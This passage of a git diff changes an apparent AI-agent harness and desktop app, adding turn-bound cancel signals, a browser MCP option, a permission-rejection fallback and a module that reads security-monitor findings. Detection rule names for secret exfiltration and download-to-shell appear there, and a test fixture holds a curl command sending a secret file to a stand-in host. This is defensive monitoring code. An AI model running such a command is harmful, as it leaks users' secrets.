assert_eq!(response["result"]["outcome"]["outcome"], "cancelled"); + assert!(client.pending_permission_id.is_none()); + assert!(client.permission_responded); + } + + #[tokio::test] + async fn failed_permission_write_keeps_pending_state_and_emits_no_decision() { + let mut client = spawn_script("exit 0").await; + let observer = ObserverHandle::in_process(); + client.set_observer(Some(observer.clone()), 0); + client.child.wait().await.unwrap(); + client.set_permission_mode(PermissionMode::DontAsk); + let request = serde_json::json!({ + "jsonrpc": "2.0", + "id": "permission-write-failure", + "method": "session/request_permission", + "params": { + "options": [{"optionId": "no", "kind": "reject_once"}] + } + }); + + let error = client + .handle_permission_request(&request) + .await + .unwrap_err(); + assert!(matches!(error, AcpError::Io(_) | AcpError::WriteTimeout(_))); + assert_eq!( + client.pending_permission_id, + Some(serde_json::json!("permission-write-failure")) + ); + assert!(!client.permission_responded); + assert!( + observer + .snapshot() + .iter() + .all(|event| event.kind != "permission_decision"), + "a failed adapter write must not emit successful decision evidence" + ); + } + #[test] fn request_has_id_field() { let id: u64 = 42; diff --git a/crates/buzz-acp/src/lib.rs b/crates/buzz-acp/src/lib.rs index 811253e4ac..6b2f573750 100644 --- a/crates/buzz-acp/src/lib.rs +++ b/crates/buzz-acp/src/lib.rs @@ -906,16 +906,27 @@ fn handle_cancel_turn_control( return; }; - let fired = signal_in_flight_task(pool, channel_id, ControlSignal::Cancel); - let status = if fired { "sent" } else { "no_active_turn" }; + let Some(expected_session_id) = payload.get("sessionId").and_then(|value| value.as_str()) + else { + tracing::warn!("observer cancel_turn control frame missing sessionId"); + return; + }; + let Some(expected_turn_id) = payload.get("turnId").and_then(|value| value.as_str()) else { + tracing::warn!("observer cancel_turn control frame missing turnId"); + return; + }; + + let fired = + signal_expected_in_flight_task(pool, channel_id, expected_turn_id, ControlSignal::Cancel); + let status = if fired { "sent" } else { "context_mismatch" }; if let Some(observer) = observer { observer.emit( "control_result", None, &observer::ObserverContext { channel_id: Some(channel_id.to_string()), - session_id: None, - turn_id: None, + session_id: Some(expected_session_id.to_string()), + turn_id: Some(expected_turn_id.to_string()), started_at: None, }, serde_json::json!({ @@ -2896,6 +2907,28 @@ fn signal_in_flight_task( false } +/// Send a control signal only when the signed observer context still names +/// the exact in-flight turn. A delayed control frame cannot cancel its successor. +fn signal_expected_in_flight_task( + pool: &mut AgentPool, + channel_id: uuid::Uuid, + expected_turn_id: &str, + mode: ControlSignal, +) -> bool { + let entry = pool + .task_map_mut() + .values_mut() + .find(|meta| meta.channel_id == Some(channel_id) && meta.turn_id == expected_turn_id); + if let Some(meta) = entry { + if let Some(tx) = meta.control_tx.take() { + tracing::info!(channel = %channel_id, turn = expected_turn_id, ?mode, "context-bound control signal sent"); + let _ = tx.send(mode); + return true; + } + } + false +} + /// Attempt the non-cancelling (ACP) steer for a freshly-queued event. /// /// Caller invariants: @@ -4278,10 +4311,37 @@ async fn run_models(args: ModelsArgs) -> Result<()> { } fn build_mcp_servers(config: &Config) -> Vec { + let browser = std::env::var("BUZZ_ACP_BROWSER_MCP_COMMAND") + .ok() + .filter(|command| !command.is_empty()) + .map(|command| { + let args = std::env::var("BUZZ_ACP_BROWSER_MCP_ARGS") + .ok() + .and_then(|raw| serde_json::from_str::>(&raw).ok()) + .unwrap_or_default(); + (command, args) + }); + build_mcp_servers_with_browser(config, browser) +} + +fn build_mcp_servers_with_browser( + config: &Config, + browser: Option<(String, Vec)>, +) -> Vec { + let mut servers = Vec::new(); + if let Some((command, args)) = browser { + servers.push(McpServer { + name: "playwright".into(), + command, + args, + env: vec![], + }); + } + if config.mcp_command.is_empty() { - return vec![]; + return servers; } - vec![McpServer { + servers.push(McpServer { name: std::path::Path::new(&config.mcp_command) .file_stem() .and_then(|s| s.to_str()) @@ -4331,7 +4391,8 @@ fn build_mcp_servers(config: &Config) -> Vec { } env }, - }] + }); + servers } #[cfg(test)] @@ -4492,6 +4553,39 @@ mod owner_control_command_tests { ControlSignal::Rotate )); } + + #[tokio::test] + async fn expected_turn_signal_rejects_stale_turn_without_consuming_control() { + let mut pool = AgentPool::from_slots(vec![]); + let channel_id = Uuid::new_v4(); + let (control_tx, control_rx) = tokio::sync::oneshot::channel(); + let abort_handle = pool.join_set.spawn(async {}); + pool.task_map_mut().insert( + abort_handle.id(), + pool::TaskMeta { + agent_index: 0, + channel_id: Some(channel_id), + turn_id: "current-turn".to_string(), + recoverable_batch: None, + control_tx: Some(control_tx), + steer_tx: None, + }, + ); + + assert!(!signal_expected_in_flight_task( + &mut pool, + channel_id, + "stale-turn", + ControlSignal::Cancel, + )); + assert!(signal_expected_in_flight_task( + &mut pool, + channel_id, + "current-turn", + ControlSignal::Cancel, + )); + assert_eq!(control_rx.await.unwrap(), ControlSignal::Cancel); + } } #[cfg(test)] @@ -5286,6 +5380,43 @@ mod build_mcp_servers_tests { "Path::new(\".\").file_stem() is None — should fall back to \"mcp\"" ); } + + #[test] + fn browser_mcp_is_added_alongside_dev_mcp() { + let config = test_config(); + let servers = build_mcp_servers_with_browser( + &config, + Some(( + "/opt/homebrew/bin/npx".into(), + vec![ + "--yes".into(), + "@playwright/mcp@0.0.78".into(), + "--browser".into(), + "chrome".into(), + "--isolated".into(), + ], + )), + ); + + assert_eq!(servers.len(), 2); + assert_eq!(servers[0].name, "playwright"); + assert_eq!(servers[0].command, "/opt/homebrew/bin/npx"); + assert_eq!(servers[0].args[1], "@playwright/mcp@0.0.78"); + assert_eq!(servers[1].name, "test-mcp-server"); + } + + #[test] + fn browser_mcp_works_without_dev_mcp() { + let mut config = test_config(); + config.mcp_command.clear(); + let servers = build_mcp_servers_with_browser( + &config, + Some(("npx".into(), vec!["@playwright/mcp@0.0.78".into()])), + ); + + assert_eq!(servers.len(), 1); + assert_eq!(servers[0].name, "playwright"); + } } #[cfg(test)] diff --git a/crates/buzz-acp/src/pool.rs b/crates/buzz-acp/src/pool.rs index 348bc138e4..70ac3afaab 100644 --- a/crates/buzz-acp/src/pool.rs +++ b/crates/buzz-acp/src/pool.rs @@ -992,6 +992,10 @@ async fn create_session_and_apply_model( }), ); + // Keep a harness-side enforcement fallback when an adapter cannot apply + // its native mode. + agent.acp.set_permission_mode(ctx.permission_mode.clone()); + // Apply permission mode if not the agent's built-in default AND the agent // advertises the requested mode in session/new. Agents that don't support // the mode (e.g., goose crashes on unrecognized set_config_option values) @@ -3975,6 +3979,65 @@ mod tests { use nostr::{EventBuilder, Keys, Kind, Tag, Timestamp}; use serde_json::json; + #[tokio::test] + async fn unsupported_native_lockdown_still_rejects_permission_requests() { + let script = r#" + IFS= read -r session_new + case "$session_new" in + *'"method":"session/new"'*) ;; + *) exit 10 ;; + esac + printf '%s\n' '{"jsonrpc":"2.0","id":0,"result":{"sessionId":"fallback-session","modes":{"availableModes":[{"id":"default"}]}}}' + + IFS= read -r prompt + case "$prompt" in + *'"method":"session/prompt"'*) ;; + *) exit 11 ;; + esac + printf '%s\n' '{"jsonrpc":"2.0","id":99,"method":"session/request_permission","params":{"options":[{"optionId":"allow","kind":"allow_once"},{"optionId":"reject","kind":"reject_once"}]}}' + + IFS= read -r decision + case "$decision" in + *'"id":99'*'"optionId":"reject"'*) ;; + *) exit 12 ;; + esac + printf '%s\n' '{"jsonrpc":"2.0","id":1,"result":{"stopReason":"end_turn"}}' + "#; + let acp = AcpClient::spawn("bash", &["-c".to_string(), script.to_string()], &[], false) + .await + .expect("failed to spawn fake ACP agent"); + let mut agent = OwnedAgent { + index: 0, + acp, + state: SessionState::default(), + model_capabilities: None, + desired_model: None, + model_overridden: false, + agent_name: "fake-agent".into(), + goose_system_prompt_supported: None, + protocol_version: 2, + }; + let mut ctx = make_prompt_context_no_owner(); + ctx.permission_mode = PermissionMode::DontAsk; + + let session_id = create_session_and_apply_model(&mut agent, &ctx, None, None, None) + .await + .expect("session creation should succeed without native dontAsk support"); + assert_eq!(session_id, "fallback-session"); + + let stop = agent + .acp + .session_prompt_with_idle_timeout( + &session_id, + "exercise fallback", + Duration::from_secs(2), + Duration::from_secs(5), + ) + .await + .expect("harness fallback should reject and let the turn complete"); + assert_eq!(stop, StopReason::EndTurn); + } + // These pin the initial_message dispatch path (run_prompt_task, ~line 855): // a legacy agent WITH a base_prompt must get [Base] prepended to the user // message. This is the exact regression that shipped in the round-2 bug. diff --git a/desktop/playwright.config.ts b/desktop/playwright.config.ts index 7ce7f48389..8f61641d02 100644 --- a/desktop/playwright.config.ts +++ b/desktop/playwright.config.ts @@ -45,6 +45,7 @@ export default defineConfig({ "**/profile-active-turn.spec.ts", "**/config-bridge-screenshots.spec.ts", "**/observer-feed-screenshots.spec.ts", + "**/guardian-findings.spec.ts", "**/core-memory-screenshots.spec.ts", "**/activity-scope-label-screenshots.spec.ts", "**/welcome-agent-modal-screenshots.spec.ts", diff --git a/desktop/src-tauri/src/commands/mod.rs b/desktop/src-tauri/src/commands/mod.rs index 66ef7ef17b..4c0dd792c7 100644 --- a/desktop/src-tauri/src/commands/mod.rs +++ b/desktop/src-tauri/src/commands/mod.rs @@ -34,6 +34,7 @@ mod media_transcode; pub(crate) mod mesh_llm; mod messages; mod notifications; +pub(crate) mod numbat_findings; mod observer_archive; mod os_idle; pub mod pairing; @@ -89,6 +90,7 @@ pub use media_download::*; pub use mesh_llm::*; pub use messages::*; pub use notifications::*; +pub use numbat_findings::*; pub use observer_archive::*; pub use os_idle::*; pub use pairing::*; diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs new file mode 100644 index 0000000000..77e8feb1e1 --- /dev/null +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -0,0 +1,968 @@ +use std::{ + collections::{HashMap, HashSet}, + fs::{File, OpenOptions}, + io::{Read as _, Seek as _, SeekFrom, Write as _}, + path::{Path, PathBuf}, + process::{Command, Stdio}, + sync::{Mutex, OnceLock}, + time::{Duration, Instant}, +}; + +use serde::{Deserialize, Serialize}; +use tauri::AppHandle; + +use crate::managed_agents::{atomic_write_json_restricted, managed_agents_base_dir}; + +const NUMBAT_SCHEMA_VERSION: &str = "0.2.0"; +const MAX_BATCH_BYTES: u64 = 1024 * 1024; +const MAX_BACKLOG_BYTES: u64 = 4 * 1024 * 1024; +const MAX_LINE_BYTES: usize = 64 * 1024; +const MAX_RECORDS_PER_BATCH: usize = 200; +const MAX_IDENTIFIER_CHARS: usize = 160; +const MAX_LOCAL_RECORD_BYTES: u64 = 8 * 1024 * 1024; +const CURSOR_OFFSET_BITS: u32 = 32; +const CURSOR_OFFSET_MASK: u64 = (1_u64 << CURSOR_OFFSET_BITS) - 1; +const CURSOR_GENERATION_MASK: u64 = (1_u64 << 21) - 1; +const NUMBAT_INSTALL_TIMEOUT: Duration = Duration::from_secs(10); +const RETENTION_CHECK_INTERVAL: Duration = Duration::from_secs(30); +static NUMBAT_INSTALL_LOCK: OnceLock> = OnceLock::new(); +static NUMBAT_RETENTION_WORKERS: OnceLock>> = OnceLock::new(); +static NUMBAT_VERIFICATION_BASELINES: OnceLock>> = + OnceLock::new(); + +#[derive(Debug, Serialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct NumbatFindingProjection { + finding_id: String, + rule_id: String, + title: String, + severity: String, + detected_at: String, + source_agent: String, + session_id: Option, + channel_id: Option, + turn_id: Option, + evidence_count: usize, +} + +#[derive(Debug, Serialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct NumbatFindingBatch { + next_offset: u64, + reset: bool, + rejected_records: usize, + health: NumbatGuardianHealth, + findings: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct NumbatGuardianHealth { + state: String, + detail: String, +} + +fn active_health() -> NumbatGuardianHealth { + NumbatGuardianHealth { + state: "active".into(), + detail: + "Guardian callback execution is verified by a valid finding from this managed runtime." + .into(), + } +} + +fn record_verification_baseline(agent_pubkey: &str, generation: u64, offset: u64) { + let baselines = NUMBAT_VERIFICATION_BASELINES.get_or_init(|| Mutex::new(HashMap::new())); + if let Ok(mut baselines) = baselines.lock() { + baselines.insert(agent_pubkey.to_string(), (generation, offset)); + } +} + +fn is_post_configuration_finding( + agent_pubkey: &str, + generation: u64, + next_offset: u64, + active_findings_observed: bool, +) -> bool { + let baselines = NUMBAT_VERIFICATION_BASELINES.get_or_init(|| Mutex::new(HashMap::new())); + let Ok(mut baselines) = baselines.lock() else { + return false; + }; + let Some((baseline_generation, baseline_offset)) = baselines.get(agent_pubkey).copied() else { + baselines.insert(agent_pubkey.to_string(), (generation, next_offset)); + return false; + }; + if baseline_generation != generation { + baselines.insert(agent_pubkey.to_string(), (generation, next_offset)); + return false; + } + active_findings_observed && next_offset > baseline_offset +} + +#[derive(Debug, Deserialize)] +struct NumbatFindingRecord { + schema_version: String, + record_type: String, + finding_id: String, + rule_id: String, + severity: String, + detected_at: String, + source_agent: String, + #[serde(default)] + session_id: Option, + #[serde(default)] + cited_event_ids: Vec, +} + +fn numbat_dir(app: &AppHandle) -> Result { + Ok(managed_agents_base_dir(app)?.join("numbat")) +} + +fn numbat_findings_path(app: &AppHandle, agent_pubkey: &str) -> Result { + validate_agent_pubkey(agent_pubkey)?; + Ok(numbat_dir(app)?.join(format!("{agent_pubkey}.ndjson"))) +} + +fn numbat_findings_template(app: &AppHandle) -> Result { + Ok(numbat_dir(app)?.join("${BUZZ_MANAGED_AGENT_PUBKEY}.ndjson")) +} + +fn previous_findings_path(path: &Path) -> PathBuf { + path.with_extension("previous.ndjson") +} + +fn health_path(app: &AppHandle, agent_pubkey: &str) -> Result { + validate_agent_pubkey(agent_pubkey)?; + Ok(numbat_dir(app)?.join(format!("{agent_pubkey}.health.json"))) +} + +fn validate_agent_pubkey(value: &str) -> Result<(), String> { + if value.len() != 64 || !value.bytes().all(|byte| byte.is_ascii_hexdigit()) { + return Err("agent pubkey must be 64 hexadecimal characters".to_string()); + } + Ok(()) +} + +fn safe_identifier(value: String) -> Option { + if value.is_empty() + || value.chars().count() > MAX_IDENTIFIER_CHARS + || !value + .chars() + .all(|ch| ch.is_ascii_alphanumeric() || matches!(ch, '.' | '_' | ':' | '-')) + { + return None; + } + Some(value) +} + +fn projected_title(rule_id: &str) -> &'static str { + match rule_id { + "chain.secret_read_then_egress" => "Possible secret exfiltration", + "exec.download_pipe_shell" => "Downloaded content piped to a shell", + "exfil.env_capture_to_network" => "Environment data sent to the network", + "integrity.git_hooks_bypass" => "Git safety hooks bypassed", + "privilege.elevated_shell" => "Elevated shell requested", + "secrets.agent_read_env" => "Sensitive environment data accessed", + "source.git_remote_tamper" => "Git remote-routing change requested", + _ => "Agent security finding", + } +} + +fn safe_timestamp(value: String) -> Option { + if value.len() > 64 || chrono::DateTime::parse_from_rfc3339(&value).is_err() { + return None; + } + Some(value) +} + +fn project_finding( + line: &[u8], + expected_agent_pubkey: &str, + expected_session_id: &str, + expected_channel_id: &str, + expected_turn_id: &str, +) -> Option { + let record: NumbatFindingRecord = serde_json::from_slice(line).ok()?; + if record.schema_version != NUMBAT_SCHEMA_VERSION || record.record_type != "finding" { + return None; + } + + let severity = match record.severity.as_str() { + "low" | "medium" | "high" | "critical" => record.severity, + _ => return None, + }; + let rule_id = safe_identifier(record.rule_id)?; + // Numbat's source_agent identifies the runtime (for example, `codex`), not + // the managed Buzz agent. Agent attribution is instead established by the + // trusted per-agent output path selected from BUZZ_MANAGED_AGENT_PUBKEY. + // Still validate the upstream field before accepting the record, but never + // mistake it for a Buzz identity. + safe_identifier(record.source_agent)?; + + let session_id = record.session_id.and_then(safe_identifier)?; + if session_id != expected_session_id { + return None; + } + // Numbat's v0.2.0 finding schema deliberately has no Buzz-specific + // context fields (and rejects unknown properties). The runtime session id + // is the portable join key. The channel and turn supplied here come from + // the owner-decrypted observer stream for that exact session; they are + // projection context, not claims parsed from the Numbat record. + let channel_id = safe_identifier(expected_channel_id.to_string())?; + let turn_id = safe_identifier(expected_turn_id.to_string())?; + + Some(NumbatFindingProjection { + finding_id: safe_identifier(record.finding_id)?, + title: projected_title(&rule_id).to_string(), + rule_id, + severity, + detected_at: safe_timestamp(record.detected_at)?, + source_agent: expected_agent_pubkey.to_string(), + session_id: Some(session_id), + channel_id: Some(channel_id), + turn_id: Some(turn_id), + evidence_count: record.cited_event_ids.len().min(1000), + }) +} + +fn align_to_next_record(file: &mut File, start: u64) -> Result { + if start == 0 { + return Ok(0); + } + + file.seek(SeekFrom::Start(start)) + .map_err(|error| format!("failed to seek Numbat records: {error}"))?; + let mut byte = [0_u8; 1]; + while file + .read(&mut byte) + .map_err(|error| format!("failed to align Numbat records: {error}"))? + == 1 + { + if byte[0] == b'\n' { + return file + .stream_position() + .map_err(|error| format!("failed to locate Numbat record: {error}")); + } + } + + file.stream_position() + .map_err(|error| format!("failed to locate Numbat record end: {error}")) +} + +#[cfg(unix)] +fn findings_generation(path: &Path) -> Result { + use std::os::unix::fs::MetadataExt as _; + path.metadata() + .map(|metadata| metadata.ino() & CURSOR_GENERATION_MASK) + .or_else(|error| { + if error.kind() == std::io::ErrorKind::NotFound { + Ok(0) + } else { + Err(error) + } + }) + .map_err(|error| format!("failed to identify Guardian storage: {error}")) +} + +#[cfg(not(unix))] +fn findings_generation(path: &Path) -> Result { + path.metadata() + .and_then(|metadata| metadata.modified()) + .and_then(|modified| { + modified + .duration_since(std::time::UNIX_EPOCH) + .map_err(std::io::Error::other) + }) + .map(|duration| duration.as_nanos() as u64 & CURSOR_GENERATION_MASK) + .or_else(|error| { + if error.kind() == std::io::ErrorKind::NotFound { + Ok(0) + } else { + Err(error) + } + }) + .map_err(|error| format!("failed to identify Guardian storage: {error}")) +} + +fn encode_cursor(generation: u64, offset: u64) -> Result { + if offset > CURSOR_OFFSET_MASK { + return Err("Guardian cursor offset exceeds its supported range".into()); + } + Ok((generation << CURSOR_OFFSET_BITS) | offset) +} + +fn decode_cursor(cursor: u64, generation: u64) -> (u64, bool) { + if cursor == 0 { + return (0, false); + } + let cursor_generation = cursor >> CURSOR_OFFSET_BITS; + if cursor_generation != generation { + return (0, true); + } + (cursor & CURSOR_OFFSET_MASK, false) +} + +fn read_numbat_findings_from_path( + path: &Path, + requested_offset: u64, + expected_context: Option<(&str, &str, &str, &str)>, + health: NumbatGuardianHealth, +) -> Result { + let mut file = match File::open(path) { + Ok(file) => file, + Err(error) if error.kind() == std::io::ErrorKind::NotFound => { + return Ok(NumbatFindingBatch { + next_offset: 0, + reset: requested_offset != 0, + rejected_records: 0, + health, + findings: Vec::new(), + }); + } + Err(error) => return Err(format!("failed to open Numbat records: {error}")), + }; + + let file_len = file + .metadata() + .map_err(|error| format!("failed to inspect Numbat records: {error}"))? + .len(); + let reset = requested_offset > file_len; + let mut offset = if reset { 0 } else { requested_offset }; + + if offset == 0 && file_len > MAX_BACKLOG_BYTES { + offset = align_to_next_record(&mut file, file_len - MAX_BACKLOG_BYTES)?; + } + + file.seek(SeekFrom::Start(offset)) + .map_err(|error| format!("failed to seek Numbat records: {error}"))?; + let mut bytes = Vec::with_capacity(MAX_BATCH_BYTES as usize); + file.take(MAX_BATCH_BYTES) + .read_to_end(&mut bytes) + .map_err(|error| format!("failed to read Numbat records: {error}"))?; + + let mut findings = Vec::new(); + let mut rejected_records = 0; + let mut line_start = 0; + let mut next_offset = offset; + + for (index, byte) in bytes.iter().enumerate() { + if *byte != b'\n' { + continue; + } + + let line = &bytes[line_start..index]; + next_offset = offset + index as u64 + 1; + line_start = index + 1; + + if line.is_empty() { + continue; + } + if line.len() > MAX_LINE_BYTES { + rejected_records += 1; + } else if let Some((agent_pubkey, session_id, channel_id, turn_id)) = expected_context { + if let Some(finding) = + project_finding(line, agent_pubkey, session_id, channel_id, turn_id) + { + findings.push(finding); + } + } else if serde_json::from_slice::(line).is_err() { + rejected_records += 1; + } + + if findings.len() + rejected_records >= MAX_RECORDS_PER_BATCH { + break; + } + } + + Ok(NumbatFindingBatch { + next_offset, + reset, + rejected_records, + health, + findings, + }) +} + +fn write_health(app: &AppHandle, agent_pubkey: &str, health: &NumbatGuardianHealth) { + let Ok(dir) = numbat_dir(app) else { + return; + }; + if std::fs::create_dir_all(&dir).is_err() || set_private_permissions(&dir, 0o700).is_err() { + return; + } + let Ok(path) = health_path(app, agent_pubkey) else { + return; + }; + if let Ok(bytes) = serde_json::to_vec(health) { + let _ = atomic_write_json_restricted(&path, &bytes); + } +} + +fn read_health(app: &AppHandle, agent_pubkey: &str) -> NumbatGuardianHealth { + if let Ok(path) = health_path(app, agent_pubkey) { + if let Ok(bytes) = std::fs::read(path) { + if let Ok(health) = serde_json::from_slice(&bytes) { + return health; + } + } + } + NumbatGuardianHealth { + state: "disconnected".into(), + detail: "Guardian has not been attached to this runtime yet.".into(), + } +} + +#[cfg(unix)] +fn set_private_permissions(path: &Path, mode: u32) -> Result<(), String> { + use std::os::unix::fs::PermissionsExt as _; + std::fs::set_permissions(path, std::fs::Permissions::from_mode(mode)) + .map_err(|error| format!("failed to protect Guardian storage: {error}")) +} + +#[cfg(not(unix))] +fn set_private_permissions(_path: &Path, _mode: u32) -> Result<(), String> { + Err("Guardian evidence storage is disabled because owner-only permissions are unavailable on this platform.".into()) +} + +fn enforce_continuous_retention(path: &Path) -> Result { + let file_len = match path.metadata() { + Ok(metadata) => metadata.len(), + Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(false), + Err(error) => return Err(format!("failed to inspect Guardian storage: {error}")), + }; + if file_len <= MAX_LOCAL_RECORD_BYTES { + return Ok(false); + } + + let mut source = File::open(path) + .map_err(|error| format!("failed to open Guardian storage for retention: {error}"))?; + let start = align_to_next_record(&mut source, file_len.saturating_sub(MAX_BACKLOG_BYTES))?; + source + .seek(SeekFrom::Start(start)) + .map_err(|error| format!("failed to seek Guardian storage for retention: {error}"))?; + let mut retained = Vec::with_capacity((file_len - start) as usize); + source + .read_to_end(&mut retained) + .map_err(|error| format!("failed to read Guardian storage for retention: {error}"))?; + + let temporary = path.with_extension("retention.tmp"); + let mut options = OpenOptions::new(); + options.create(true).truncate(true).write(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt as _; + options.mode(0o600); + } + let mut target = options + .open(&temporary) + .map_err(|error| format!("failed to create retained Guardian storage: {error}"))?; + target + .write_all(&retained) + .and_then(|()| target.sync_all()) + .map_err(|error| format!("failed to persist retained Guardian storage: {error}"))?; + set_private_permissions(&temporary, 0o600)?; + let previous = previous_findings_path(path); + if previous.exists() { + std::fs::remove_file(&previous) + .map_err(|error| format!("failed to expire prior Guardian storage: {error}"))?; + } + std::fs::rename(path, &previous) + .map_err(|error| format!("failed to preserve prior Guardian storage: {error}"))?; + std::fs::rename(&temporary, path) + .map_err(|error| format!("failed to replace Guardian storage after retention: {error}"))?; + Ok(true) +} + +fn read_previous_findings_tail( + path: &Path, + expected_context: Option<(&str, &str, &str, &str)>, + health: NumbatGuardianHealth, +) -> Result, String> { + let previous = previous_findings_path(path); + let file_len = match previous.metadata() { + Ok(metadata) => metadata.len(), + Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()), + Err(error) => return Err(format!("failed to inspect prior Guardian storage: {error}")), + }; + let mut file = File::open(&previous) + .map_err(|error| format!("failed to open prior Guardian storage: {error}"))?; + let offset = align_to_next_record(&mut file, file_len.saturating_sub(MAX_BATCH_BYTES))?; + read_numbat_findings_from_path(&previous, offset, expected_context, health) + .map(|batch| batch.findings) +} + +fn start_retention_worker(app: AppHandle, agent_pubkey: String) { + let workers = NUMBAT_RETENTION_WORKERS.get_or_init(|| Mutex::new(HashSet::new())); + let Ok(mut workers) = workers.lock() else { + return; + }; + if !workers.insert(agent_pubkey.clone()) { + return; + } + drop(workers); + + std::thread::spawn(move || loop { + std::thread::sleep(RETENTION_CHECK_INTERVAL); + let Ok(path) = numbat_findings_path(&app, &agent_pubkey) else { + return; + }; + if let Err(detail) = enforce_continuous_retention(&path) { + write_health( + &app, + &agent_pubkey, + &NumbatGuardianHealth { + state: "stale".into(), + detail, + }, + ); + } + }); +} + +fn run_numbat_install( + binary: &Path, + runtime: &str, + findings: &Path, + timeout: Duration, +) -> Result<(), String> { + let mut child = Command::new(binary) + .args([ + "hook", + "install", + "--agent", + runtime, + "--emit", + "findings", + "--output", + "file", + "--output-file", + ]) + .arg(findings) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .map_err(|error| format!("failed to configure Numbat: {error}"))?; + let started = Instant::now(); + loop { + match child.try_wait() { + Ok(Some(status)) if status.success() => return Ok(()), + Ok(Some(status)) => return Err(format!("Numbat hook install exited with {status}")), + Ok(None) if started.elapsed() < timeout => { + std::thread::sleep(Duration::from_millis(50)); + } + Ok(None) => { + let _ = child.kill(); + let _ = child.wait(); + return Err(format!( + "Numbat hook install timed out after {}s", + timeout.as_secs() + )); + } + Err(error) => { + let _ = child.kill(); + let _ = child.wait(); + return Err(format!("failed to wait for Numbat: {error}")); + } + } + } +} + +/// Idempotently attach Numbat's monitor-only callbacks outside the managed +/// runtime's spawn critical path. Numbat is callback-based (not a daemon), so +/// lifecycle management means keeping the hook and its local sink healthy. +fn prepare_numbat_monitoring(app: &AppHandle, runtime: &str, agent_pubkey: &str) { + let runtime = match runtime { + "codex" | "claude" | "goose" => runtime, + _ => return, + }; + let Some(binary) = crate::managed_agents::resolve_command("numbat") else { + write_health( + app, + agent_pubkey, + &NumbatGuardianHealth { + state: "unsupported".into(), + detail: "Numbat is not installed on this device.".into(), + }, + ); + return; + }; + let result = (|| -> Result<(), String> { + let dir = numbat_dir(app)?; + std::fs::create_dir_all(&dir) + .map_err(|error| format!("failed to create Guardian storage: {error}"))?; + set_private_permissions(&dir, 0o700)?; + let findings = numbat_findings_path(app, agent_pubkey)?; + enforce_continuous_retention(&findings)?; + let mut options = OpenOptions::new(); + options.create(true).append(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt as _; + options.mode(0o600); + } + options + .open(&findings) + .map_err(|error| format!("failed to open Guardian storage: {error}"))?; + set_private_permissions(&findings, 0o600)?; + + let lock = NUMBAT_INSTALL_LOCK.get_or_init(|| Mutex::new(())); + let _guard = lock + .lock() + .map_err(|_| "Numbat installation lock is unavailable".to_string())?; + let findings_template = numbat_findings_template(app)?; + run_numbat_install(&binary, runtime, &findings_template, NUMBAT_INSTALL_TIMEOUT) + })(); + let health = match result { + Ok(()) => NumbatGuardianHealth { + state: "configured".into(), + detail: format!( + "{runtime} monitoring is configured in detection-only mode with findings isolated to this managed agent." + ), + }, + Err(detail) => NumbatGuardianHealth { + state: "disconnected".into(), + detail, + }, + }; + write_health(app, agent_pubkey, &health); + if health.state == "configured" { + if let Ok(path) = numbat_findings_path(app, agent_pubkey) { + let generation = findings_generation(&path).unwrap_or(0); + let offset = path.metadata().map(|metadata| metadata.len()).unwrap_or(0); + record_verification_baseline(agent_pubkey, generation, offset); + } + start_retention_worker(app.clone(), agent_pubkey.to_string()); + } +} + +pub(crate) fn prepare_numbat_monitoring_async( + app: AppHandle, + runtime: String, + agent_pubkey: String, +) { + std::thread::spawn(move || prepare_numbat_monitoring(&app, &runtime, &agent_pubkey)); +} + +/// Read and privacy-project a bounded batch of local Numbat finding records for +/// one managed agent. Raw commands, endpoint identity, paths, and evidence are +/// intentionally never represented in the return type. +#[tauri::command] +pub fn read_numbat_findings( + app: AppHandle, + agent_pubkey: String, + offset: Option, + session_id: Option, + channel_id: Option, + turn_id: Option, +) -> Result { + let path = numbat_findings_path(&app, &agent_pubkey)?; + let generation = findings_generation(&path)?; + let (physical_offset, generation_reset) = decode_cursor(offset.unwrap_or(0), generation); + let expected_context = session_id + .as_deref() + .zip(channel_id.as_deref()) + .zip(turn_id.as_deref()) + .map(|((session, channel), turn)| (agent_pubkey.as_str(), session, channel, turn)); + let mut batch = read_numbat_findings_from_path( + &path, + physical_offset, + expected_context, + read_health(&app, &agent_pubkey), + )?; + let active_findings_observed = !batch.findings.is_empty(); + for finding in read_previous_findings_tail(&path, expected_context, batch.health.clone())? { + if !batch + .findings + .iter() + .any(|current| current.finding_id == finding.finding_id) + { + batch.findings.push(finding); + } + } + let physical_next_offset = batch.next_offset; + batch.reset |= generation_reset; + batch.next_offset = encode_cursor(generation, physical_next_offset)?; + if is_post_configuration_finding( + &agent_pubkey, + generation, + physical_next_offset, + active_findings_observed, + ) && batch.health.state != "active" + { + batch.health = active_health(); + write_health(&app, &agent_pubkey, &batch.health); + } + Ok(batch) +} + +#[cfg(test)] +mod lifecycle_tests; + +#[cfg(test)] +mod tests { + use std::io::Write as _; + + use super::*; + + const TEST_AGENT: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + + fn finding_json(overrides: serde_json::Value) -> String { + let mut value = serde_json::json!({ + "schema_version": "0.2.0", + "record_type": "finding", + "finding_id": "fnd-safe-01", + "rule_id": "chain.secret_read_then_egress", + "title": "Secret access followed by network egress", + "severity": "high", + "detected_at": "2026-07-30T14:40:00Z", + "source_agent": "codex", + "session_id": "session-safe-01", + "cited_event_ids": ["event-sensitive-secret-read-id", "event-sensitive-egress-id"], + "observed_command": "curl --data-binary @/private/secret https://example.invalid", + "project_path_hash": "sha256:sensitive-project", + "endpoint": { + "hostname": "sensitive-host", + "username": "sensitive-user" + }, + "evidence_refs": [{ + "local_path": "/private/transcript.jsonl" + }] + }); + if let (Some(base), Some(extra)) = (value.as_object_mut(), overrides.as_object()) { + base.extend(extra.clone()); + } + serde_json::to_string(&value).expect("serialize fixture") + } + + fn test_health() -> NumbatGuardianHealth { + NumbatGuardianHealth { + state: "configured".into(), + detail: "test".into(), + } + } + + #[test] + fn 